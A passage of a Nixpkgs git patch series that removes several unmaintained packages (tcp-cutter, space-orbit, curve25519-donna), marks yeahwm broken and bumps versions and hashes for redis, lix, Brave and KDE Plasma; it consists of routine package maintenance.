+++ b/pkgs/top-level/python-aliases.nix
@@ -166,6 +166,7 @@ mapAliases ({
   cryptacular = throw "cryptacular was removed, because it was disabled on all python version since 3.6 and last updated in 2021"; # Added 2024-05-13
   cryptography_vectors = "cryptography_vectors is no longer exposed in python*Packages because it is used for testing cryptography only."; # Added 2022-03-23
   cufflinks = throw "cufflinks has removed, since it is abandoned and broken"; # added 2025-02-16
+  curve25519-donna = throw "curve25519-donna was removed, since it is abandoned and unmaintained since 2015"; # added 2025-06-03
   cx_Freeze = cx-freeze; # added 2023-08-02
   cx_oracle = cx-oracle; # added 2024-01-03
   d2to1 = throw "d2to1 is archived and no longer works with setuptools v68"; # added 2023-07-30
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index 89dffb715ad4..aa0f6507d734 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -3058,8 +3058,6 @@ self: super: with self; {
 
   curtsies = callPackage ../development/python-modules/curtsies { };
 
-  curve25519-donna = callPackage ../development/python-modules/curve25519-donna { };
-
   curvefitgui = callPackage ../development/python-modules/curvefitgui { };
 
   customtkinter = callPackage ../development/python-modules/customtkinter { };

From e2c961d11d0766751b15186859d279692e452e64 Mon Sep 17 00:00:00 2001
From: Moraxyc <i@qaq.li>
Date: Tue, 8 Jul 2025 18:23:22 +0800
Subject: [PATCH 2160/4511] redis: 7.2.9 -> 7.2.10

---
 pkgs/by-name/re/redis/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/re/redis/package.nix b/pkgs/by-name/re/redis/package.nix
index 63aa1d70ccab..8bd713bcb00d 100644
--- a/pkgs/by-name/re/redis/package.nix
+++ b/pkgs/by-name/re/redis/package.nix
@@ -25,13 +25,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "redis";
-  version = "7.2.9";
+  version = "7.2.10";
 
   src = fetchFromGitHub {
     owner = "redis";
     repo = "redis";
     rev = finalAttrs.version;
-    hash = "sha256-CVhA1BU3uUlZzRRO46vTpWXF3QmKaYMVCKYCq0NyQpQ=";
+    hash = "sha256-1ls4BF6/L8DtsyfZqRrNuBzzyZBDdLURljHxFFzezPg=";
   };
 
   patches = lib.optional useSystemJemalloc (fetchpatch2 {

From 5afe91114d8e471a41f9ea8a3ea1e9d8878031e6 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Tue, 8 Jul 2025 10:17:35 -0400
Subject: [PATCH 2161/4511] yeahwm: mark broken on Linux

Does not build on GCC 14.

Related: #416319
---
 pkgs/by-name/ye/yeahwm/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ye/yeahwm/package.nix b/pkgs/by-name/ye/yeahwm/package.nix
index bfa2b3267973..ca2b2be76694 100644
--- a/pkgs/by-name/ye/yeahwm/package.nix
+++ b/pkgs/by-name/ye/yeahwm/package.nix
@@ -85,6 +85,7 @@ stdenv.mkDerivation (finalAttrs: {
     license = lib.licenses.isc;
     mainProgram = "yeahwm";
     maintainers = with lib.maintainers; [ ];
+    broken = stdenv.hostPlatform.isLinux; # Does not build with GCC 14.
     inherit (libX11.meta) platforms;
   };
 })

From fe3931fb6a643dffebdbabc95a2f7a042542aa59 Mon Sep 17 00:00:00 2001
From: Thomas Zahner <thomas.zahner@protonmail.ch>
Date: Sun, 25 May 2025 20:50:02 +0200
Subject: [PATCH 2162/4511] tcp-cutter: drop

Remove tcp-cutter package because it no longer compiles and the source url died 2 years ago

(cherry picked from commit fab7c89af495178c8eeb2715b7cc653efba31f99)
---
 pkgs/by-name/tc/tcp-cutter/package.nix | 28 --------------------------
 pkgs/top-level/aliases.nix             |  3 ++-
 2 files changed, 2 insertions(+), 29 deletions(-)
 delete mode 100644 pkgs/by-name/tc/tcp-cutter/package.nix

diff --git a/pkgs/by-name/tc/tcp-cutter/package.nix b/pkgs/by-name/tc/tcp-cutter/package.nix
deleted file mode 100644
index 9ca1a2dd1399..000000000000
--- a/pkgs/by-name/tc/tcp-cutter/package.nix
+++ /dev/null
@@ -1,28 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchurl,
-}:
-
-stdenv.mkDerivation rec {
-  pname = "tcp-cutter";
-  version = "1.04";
-
-  src = fetchurl {
-    url = "http://www.digitage.co.uk/digitage/files/cutter/${pname}-${version}.tgz";
-    sha256 = "100iy31a3njif6vh9gfsqrm14hac05rrflla275gd4rkxdlnqcqv";
-  };
-
-  installPhase = ''
-    install -D -m 0755 cutter $out/bin/tcp-cutter
-  '';
-
-  meta = with lib; {
-    description = "TCP/IP Connection cutting on Linux Firewalls and Routers";
-    homepage = "http://www.digitage.co.uk/digitage/software/linux-security/cutter";
-    license = licenses.gpl2Only;
-    platforms = platforms.linux;
-    maintainers = [ maintainers.offline ];
-    mainProgram = "tcp-cutter";
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 2939defadd6f..5cf8d8aa080d 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1850,11 +1850,12 @@ mapAliases {
   tcludp = tclPackages.tcludp; # Added 2024-10-02
   tclvfs = tclPackages.tclvfs; # Added 2024-10-02
   tclx = tclPackages.tclx; # Added 2024-10-02
+  tcp-cutter = throw "tcp-cutter has been removed because it fails to compile and the source url is dead"; # Added 2025-05-25
   tdesktop = telegram-desktop; # Added 2023-04-07
   tdom = tclPackages.tdom; # Added 2024-10-02
   teamspeak_client = teamspeak3; # Added 2024-11-07
   teamspeak5_client = teamspeak6-client; # Added 2025-01-29
-  teck-programmer = throw "teck-programmer was removed because it was broken and unmaintained"; # added 2024-08-23
+  teck-programmer = throw "teck-programmer was removed because it was broken and unmaintained"; # Added 2024-08-23
   telepathy-gabble = throw "'telepathy-gabble' has been removed as it was unmaintained, unused, broken and used outdated libraries"; # Added 2025-04-20
   telepathy-logger = throw "'telepathy-logger' has been removed as it was unmaintained, unused and broken"; # Added 2025-04-20
   teleport_13 = throw "teleport 13 has been removed as it is EOL. Please upgrade to Teleport 14 or later"; # Added 2024-05-26

From d749ad90258c73e1e0cfcf1760124a8858567a5b Mon Sep 17 00:00:00 2001
From: Petr Zahradnik <junior@zahradnik.cz>
Date: Sun, 8 Jun 2025 13:41:22 +0200
Subject: [PATCH 2163/4511] space-orbit: remove

(cherry picked from commit 44c774caf24d3d3a2efec1a75396542b4f292d78)
---
 pkgs/by-name/sp/space-orbit/package.nix | 66 -------------------------
 pkgs/top-level/aliases.nix              |  1 +
 2 files changed, 1 insertion(+), 66 deletions(-)
 delete mode 100644 pkgs/by-name/sp/space-orbit/package.nix

diff --git a/pkgs/by-name/sp/space-orbit/package.nix b/pkgs/by-name/sp/space-orbit/package.nix
deleted file mode 100644
index a39816fafcc1..000000000000
--- a/pkgs/by-name/sp/space-orbit/package.nix
+++ /dev/null
@@ -1,66 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchurl,
-  libGLU,
-  libGL,
-  libXi,
-  libXt,
-  libXext,
-  libX11,
-  libXmu,
-  libglut,
-}:
-
-stdenv.mkDerivation rec {
-  pname = "space-orbit";
-  version = "1.01";
-  patchversion = "9";
-
-  buildInputs = [
-    libGLU
-    libGL
-    libXi
-    libXt
-    libXext
-    libX11
-    libXmu
-    libglut
-  ];
-
-  src = fetchurl {
-    url = "mirror://debian/pool/main/s/space-orbit/space-orbit_${version}.orig.tar.gz";
-    sha256 = "1kx69f9jqnfzwjh47cl1df8p8hn3bnp6bznxnb6c4wx32ijn5gri";
-  };
-
-  patches = [
-    (fetchurl {
-      url = "mirror://debian/pool/main/s/space-orbit/space-orbit_${version}-${patchversion}.diff.gz";
-      sha256 = "1v3s97day6fhv08l2rn81waiprhi1lfyjjsj55axfh6n6zqfn1w2";
-    })
-  ];
-
-  preBuild = ''
-    cd src
-    sed -e 's@/usr/share/games/orbit/@'$out'/dump/@g' -i *.c
-    sed -e '/DIR=/d; s/-lesd//; s/-DESD//;' -i Makefile
-  '';
-
-  installPhase = ''
-        mkdir -p $out/bin
-        cp -r .. $out/dump
-        cat >$out/bin/space-orbit <<EOF
-    #! ${stdenv.shell}
-    exec $out/dump/orbit "\$@"
-    EOF
-        chmod a+x $out/bin/space-orbit
-  '';
-
-  meta = with lib; {
-    broken = stdenv.hostPlatform.isDarwin;
-    description = "Space combat simulator";
-    mainProgram = "space-orbit";
-    license = licenses.gpl2Plus;
-    platforms = platforms.all;
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 2939defadd6f..1af142ef203f 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1753,6 +1753,7 @@ mapAliases {
   SP800-90B_EntropyAssessment = sp800-90b-entropyassessment; # Added on 2024-06-12
   SPAdes = spades; # Added 2024-06-12
   spark2014 = gnatprove; # Added 2024-02-25
+  space-orbit = throw "'space-orbit' has been removed because it is unmaintained; Debian upstream stopped tracking it in 2011."; # Added 2025-06-08
   spatialite_gui = throw "spatialite_gui has been renamed to spatialite-gui"; # Added 2025-01-12
   spatialite_tools = throw "spatialite_tools has been renamed to spatialite-tools"; # Added 2025-02-06
 

From afadcc11bd8c698a53bb68921ee1f6f9f4fb82a2 Mon Sep 17 00:00:00 2001
From: Alois Wohlschlager <alois1@gmx-topmail.de>
Date: Sat, 28 Jun 2025 11:11:08 +0200
Subject: [PATCH 2164/4511] lixPackageSets.git:
 2.94.0-pre-20250624_42e2bd045c9e -> 2.94.0-pre-20250704_362bfd827f52

---
 pkgs/tools/package-management/lix/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix
index 42bc8c641a69..c582d3d9452e 100644
--- a/pkgs/tools/package-management/lix/default.nix
+++ b/pkgs/tools/package-management/lix/default.nix
@@ -238,14 +238,14 @@ lib.makeExtensible (self: {
     attrName = "git";
 
     lix-args = rec {
-      version = "2.94.0-pre-20250624_${builtins.substring 0 12 src.rev}";
+      version = "2.94.0-pre-20250704_${builtins.substring 0 12 src.rev}";
 
       src = fetchFromGitea {
         domain = "git.lix.systems";
         owner = "lix-project";
         repo = "lix";
-        rev = "42e2bd045c9e51a59fdab038dc4e6f9e86c4922c";
-        hash = "sha256-BsY8kpwQML9/036g9C+No7lhzqmn4ZTlIsuo92SVSJk=";
+        rev = "362bfd827f522b57062e4ebcb465bb51941632a4";
+        hash = "sha256-4CVRbeYExqIDpFH+QMZb5IeUGkP6kA/zHSuExYoZygk=";
       };
 
       cargoDeps = rustPlatform.fetchCargoVendor {

From f8e4e73ef8b4208b1d50ab288cf68f09180772a4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 6 Jul 2025 09:29:34 +0000
Subject: [PATCH 2165/4511] brave: 1.80.113 -> 1.80.115

(cherry picked from commit 2c49dc6b38aa202fa2ac894f401e43e9f6262a7d)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index af3d36b17a77..415aa7ca15c8 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.80.113";
+  version = "1.80.115";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-fWNRiLLFfbVsvLaay878PEIAK9rKCbRCHZ/Uv/dBuCM=";
+      hash = "sha256-Fg3zcl9loAypW3ca2ffBxi8+NQ09kdIFIXsEteGsoSs=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-xs9Bywb5ZWj/OINP1HEVxAMWhs2BTJVyU+dBOI+w6f8=";
+      hash = "sha256-Cf7My5mTkiZh5xMTinhmKnHPJWMX5QfijO7bEV6h6rU=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-SWalaT/+TvKvNBaVX9CQbCDMvPUgvJLG5rYhIHtXVkM=";
+      hash = "sha256-eEcRA7W+eUSg5+LXgTvs85VNIx+0ldCGRJCT3I6EgaI=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-YpEAOZZegpAH9UbNCsEAJeLjjAPJYhJcEF5wd/3ewGE=";
+      hash = "sha256-beFYyTS2GbJloYsJQISKDhF/zgXHPBetfJt1t2EzFfE=";
     };
   };
 

From 56e3ac24f80cecab5416f104f4289cb0f8eb84c0 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Tue, 8 Jul 2025 21:34:00 +0300
Subject: [PATCH 2166/4511] kdePackages: Plasma 6.3.5 -> 6.3.6

---
 pkgs/kde/generated/sources/plasma.json | 402 ++++++++++++-------------
 1 file changed, 201 insertions(+), 201 deletions(-)

diff --git a/pkgs/kde/generated/sources/plasma.json b/pkgs/kde/generated/sources/plasma.json
index b9d56e3d7c95..a9dc53b3c1f0 100644
--- a/pkgs/kde/generated/sources/plasma.json
+++ b/pkgs/kde/generated/sources/plasma.json
@@ -1,337 +1,337 @@
 {
   "bluedevil": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/bluedevil-6.3.5.tar.xz",
-    "hash": "sha256-DuDbv+445vKtvtfRC43vEopPmZvL4p8DXDvUTwpu/LA="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/bluedevil-6.3.6.tar.xz",
+    "hash": "sha256-G0vzHsVL689DiN5hsI2fbXf//wCY6aiHhTlRHUZvI4s="
   },
   "breeze": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/breeze-6.3.5.tar.xz",
-    "hash": "sha256-WAPY49Tt994m4t8h7ChmK2EaC8pQXDm5kcd2PbpgJqs="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/breeze-6.3.6.tar.xz",
+    "hash": "sha256-6mUyoVQqtDI/EqefogyMAT10eEQ8e6uq+235Z3w3L8Q="
   },
   "breeze-grub": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/breeze-grub-6.3.5.tar.xz",
-    "hash": "sha256-+VsB3HrZdRz9nB78eqSbNCkfkxtWJUXhuwBg3kCzoEY="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/breeze-grub-6.3.6.tar.xz",
+    "hash": "sha256-Iy2Hl7GxnvhiOK8g3lA0xeQk7MyS9Zlwsc0dhb5sD2c="
   },
   "breeze-gtk": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/breeze-gtk-6.3.5.tar.xz",
-    "hash": "sha256-spJicqyQjcDBIXWTMzFs/lVnxZHZdXJOLUUxFBUHWA0="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/breeze-gtk-6.3.6.tar.xz",
+    "hash": "sha256-IgiiXpr4Ezl5Z5eKZt8g6bHgPZL0/JGdKHMxEMgTyi8="
   },
   "breeze-plymouth": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/breeze-plymouth-6.3.5.tar.xz",
-    "hash": "sha256-/3GTud0REb1ZsYEHyau0ov3nBj2MZkT15OcFHc3HsZU="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/breeze-plymouth-6.3.6.tar.xz",
+    "hash": "sha256-8C41emQ1fnaYiR6jfjiPoVHeedkcIRk2QRA+ry6QcY0="
   },
   "discover": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/discover-6.3.5.tar.xz",
-    "hash": "sha256-CCLh+uB4oA4ylbV44AVNHgmNrKdddedpxMGtqTfws6A="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/discover-6.3.6.tar.xz",
+    "hash": "sha256-YKRfyZT2dgLkGTQYH6ic1fpxCMUveG8Up1y17RTDMGY="
   },
   "drkonqi": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/drkonqi-6.3.5.tar.xz",
-    "hash": "sha256-0Mk/D8G0IDtiRdOi9OnIXUFhVw0UoU2B7tWk69Wt/80="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/drkonqi-6.3.6.tar.xz",
+    "hash": "sha256-7jc8XjEG39GhkEOCpPy9Q7XGh1WVV7noXq/VkBwh5l0="
   },
   "flatpak-kcm": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/flatpak-kcm-6.3.5.tar.xz",
-    "hash": "sha256-H+8vTOZjpnlr0gWmumjGcnbXzjN72uKW/mO4iZDt/zA="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/flatpak-kcm-6.3.6.tar.xz",
+    "hash": "sha256-bbOJeqiUM/cNlN6GOz2yJyrAmi6lfnVJoS43CYKaCUk="
   },
   "kactivitymanagerd": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kactivitymanagerd-6.3.5.tar.xz",
-    "hash": "sha256-FUR351a/7aqUFZyIbA1t1jvHCcHzvMisxJhMiPfDP9U="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kactivitymanagerd-6.3.6.tar.xz",
+    "hash": "sha256-VGC6JE/e7p/zodq/nEUzNQQ1rU/8FTsKaGNW5OHbfdo="
   },
   "kde-cli-tools": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kde-cli-tools-6.3.5.tar.xz",
-    "hash": "sha256-8EekZ1bIgvk5LGTj5irQmKsY838fNb38YggrFKemkDc="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kde-cli-tools-6.3.6.tar.xz",
+    "hash": "sha256-mgJrUWSzE8FlI/5kT8mOJWI2QciSfkaIOSwFFe6The4="
   },
   "kde-gtk-config": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kde-gtk-config-6.3.5.tar.xz",
-    "hash": "sha256-RQrbVRLDDEpau6djxPkoYeoYujNM2FohE+3lReFXwjY="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kde-gtk-config-6.3.6.tar.xz",
+    "hash": "sha256-zkDCXZhT6pQPrnYTTG+J1rp1XQwFeA39jl5URKn3UrU="
   },
   "kdecoration": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kdecoration-6.3.5.tar.xz",
-    "hash": "sha256-bhVXEPXzp5m0fZBriiphFqlR3uPRkP4VvHJBPKljPwc="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kdecoration-6.3.6.tar.xz",
+    "hash": "sha256-WphPrZDzq0eK2IO/TxxOaMZVUfhzvSUQfdTPrg8P6ho="
   },
   "kdeplasma-addons": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kdeplasma-addons-6.3.5.tar.xz",
-    "hash": "sha256-J7xDCi1PX/hbAsEgxFr+PgIoflsTvXMOq7jtSE1epLo="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kdeplasma-addons-6.3.6.tar.xz",
+    "hash": "sha256-KnOd+HZdno4YOb/2NwzoUz4Noyy6fRCmwcYBbJ7X76s="
   },
   "kgamma": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kgamma-6.3.5.tar.xz",
-    "hash": "sha256-FgZi3xHwzXzNqpfBbmNFIqsMhuWi1JzhQ4mZ/mWXmSs="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kgamma-6.3.6.tar.xz",
+    "hash": "sha256-cWpbMXIoEhdq39nSFpV8YDutDDKbi/69iv0Dp/vK+Es="
   },
   "kglobalacceld": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kglobalacceld-6.3.5.tar.xz",
-    "hash": "sha256-92yf9N8PbeDJ7kdcfjV0l/d9JhWnrdCXtmndaLWaaQA="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kglobalacceld-6.3.6.tar.xz",
+    "hash": "sha256-mptRXGWKGx0oe3XQyShne3pNTgb3OsQe4bw2KuYuKIU="
   },
   "kinfocenter": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kinfocenter-6.3.5.tar.xz",
-    "hash": "sha256-QDVErutgb/s75V2kIT0XEsv5NTTAmC44IErYY+Aa6MM="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kinfocenter-6.3.6.tar.xz",
+    "hash": "sha256-pYRLUTaH7YQUsfnU0rultG2qrlTZF/pjyKHdH4AEuVA="
   },
   "kmenuedit": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kmenuedit-6.3.5.tar.xz",
-    "hash": "sha256-EsPBJegT+C1XJ68dYmIIMPXdXdWyAkjxYYWR4jXuk0s="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kmenuedit-6.3.6.tar.xz",
+    "hash": "sha256-vY+9JGf4LABrKOd0Pyy1UYBzoXDQTeUROgGFO8QZZQ4="
   },
   "kpipewire": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kpipewire-6.3.5.tar.xz",
-    "hash": "sha256-mbYSu+D+P0QFT8VxMeBfwAX2dczAcaCItaDxVNA68vc="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kpipewire-6.3.6.tar.xz",
+    "hash": "sha256-Yk/aZDYZtUbqQM9VKk43gnmXi3E3Q0LYQtilkMQwSrU="
   },
   "krdp": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/krdp-6.3.5.tar.xz",
-    "hash": "sha256-aldaFtzFOJbfDIId491JNA8eI8Bhz7Uotrx+NJn/wuY="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/krdp-6.3.6.tar.xz",
+    "hash": "sha256-W4iOf1NheyexWA4WZWKyMhbYjrbbZQ8az2X90SljUpU="
   },
   "kscreen": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kscreen-6.3.5.tar.xz",
-    "hash": "sha256-cdy3kCFoHY5I2Bm4EOZzboiypGTmsVml9w/pRfqRCiU="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kscreen-6.3.6.tar.xz",
+    "hash": "sha256-wXOb7nnxma6ZCKbQTVPtEDj6jbfJFbCtrmi69hNeUY0="
   },
   "kscreenlocker": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kscreenlocker-6.3.5.tar.xz",
-    "hash": "sha256-eW7zTpH5fb6xkAKw/0QA63MtrJHVGEo5m/nlveI2qPY="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kscreenlocker-6.3.6.tar.xz",
+    "hash": "sha256-equN6dkixSpEAgWFbTOFU/QHJVhRb3GmmpGp9W14lQE="
   },
   "ksshaskpass": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/ksshaskpass-6.3.5.tar.xz",
-    "hash": "sha256-38BKYTDVjVYfsO6PrioSf4haqOLe4IdznaMEOHlHrY8="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/ksshaskpass-6.3.6.tar.xz",
+    "hash": "sha256-YgA/MM1z77YD7tEbaNhZQG/K2p47Mln7eayU56oqJ80="
   },
   "ksystemstats": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/ksystemstats-6.3.5.tar.xz",
-    "hash": "sha256-4v2Lo/0K4P+RCz/Zb2F1adG/sAwnloaf61+PszTvQ1U="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/ksystemstats-6.3.6.tar.xz",
+    "hash": "sha256-6WQDAxUndCrUJV1zUnTStY88J3L82ETs0WGNe7L1EyM="
   },
   "kwallet-pam": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kwallet-pam-6.3.5.tar.xz",
-    "hash": "sha256-qUOpVXVE2Opr3ibsFlw+yLfAKoF7bnxAbFV67iaaPN4="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kwallet-pam-6.3.6.tar.xz",
+    "hash": "sha256-kcwv37sQLEXXhzTkhCEmoOKR+zbhwC2g67cTavqhaJ8="
   },
   "kwayland": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kwayland-6.3.5.tar.xz",
-    "hash": "sha256-D8Hw7N1TDlKExs8NHO1IRRQyKEvGXG5NhXihOgnf970="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kwayland-6.3.6.tar.xz",
+    "hash": "sha256-kDaL35Gufib9O35LL196Tmm5npTtwUlVM3GRIl2T/9Q="
   },
   "kwayland-integration": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kwayland-integration-6.3.5.tar.xz",
-    "hash": "sha256-iVnwHXG9zZ3eMsSt6GP1SNeSAyZ/R/gmR8qP+nN2iX4="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kwayland-integration-6.3.6.tar.xz",
+    "hash": "sha256-rkaAfHOfK9+shnwBRgcsjYE6yqPOHm23B1A5KJZQWMc="
   },
   "kwin": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kwin-6.3.5.tar.xz",
-    "hash": "sha256-1xzay6s1+BOeeZ/gATJI9o6AK6UWQRtEbV1mwwvX5ew="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kwin-6.3.6.tar.xz",
+    "hash": "sha256-J/IgXwbVjx0fSA0qlK4kAiwvlbnB/cWlSfjhQ3E/zhI="
   },
   "kwrited": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/kwrited-6.3.5.tar.xz",
-    "hash": "sha256-JijIieIDhUmdxqC5lbuNIffSXX/+pNfrvh5EZdaWZm8="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/kwrited-6.3.6.tar.xz",
+    "hash": "sha256-00f3aDwmMq/RM0PpI+nODVPx+CL6flZIdUAaArwnN9Q="
   },
   "layer-shell-qt": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/layer-shell-qt-6.3.5.tar.xz",
-    "hash": "sha256-cGLKDlDczpfdEdit8bhtSfHFZCPyNB3Os+pA3EggbiU="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/layer-shell-qt-6.3.6.tar.xz",
+    "hash": "sha256-vY0aeXH7cgsvFHXkIeTkJZktDsIsEGBHCBx9ohzQsvw="
   },
   "libkscreen": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/libkscreen-6.3.5.tar.xz",
-    "hash": "sha256-Wl0Uus/smwWRwebW4U85jmlDZsH/Lzj24M11LtqRueM="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/libkscreen-6.3.6.tar.xz",
+    "hash": "sha256-sjzG3FHJcORRI3LmvvBvU3j8/NefoBeLZrgfBjCKJJA="
   },
   "libksysguard": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/libksysguard-6.3.5.tar.xz",
-    "hash": "sha256-NsAfjIIYwXUGLooNssB8o5q+rDT8YtfmtIGU8FO8NSM="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/libksysguard-6.3.6.tar.xz",
+    "hash": "sha256-FPl9k4cBitxiM4Dd5jsqj1lopPvQr7E5MciW0g92vPs="
   },
   "libplasma": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/libplasma-6.3.5.tar.xz",
-    "hash": "sha256-UBLIPS2iZd6WBwm08hOPOXiqROH7K7DWs++V3pjm6uQ="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/libplasma-6.3.6.tar.xz",
+    "hash": "sha256-sbOu0flwxJ8AXjbvVKBUUJPF3MJTV66emqmyVwgns0Q="
   },
   "milou": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/milou-6.3.5.tar.xz",
-    "hash": "sha256-vPTHP2I/oFEL0YXmHk5VsnX9yIpOXdMRheC3I2ZvyPo="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/milou-6.3.6.tar.xz",
+    "hash": "sha256-hIq8i7K0Brkdc5TY9skOQr6j3RloUK7iUjzNyoZLoP8="
   },
   "ocean-sound-theme": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/ocean-sound-theme-6.3.5.tar.xz",
-    "hash": "sha256-5qsu8Sujks2tvE+hBDpKHVQZthd6CGgi9ox6W1IXmMM="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/ocean-sound-theme-6.3.6.tar.xz",
+    "hash": "sha256-HUwvfbr9ND59wOo0txxRiOHVY+uw3jdfILc5B3rDSw0="
   },
   "oxygen": {
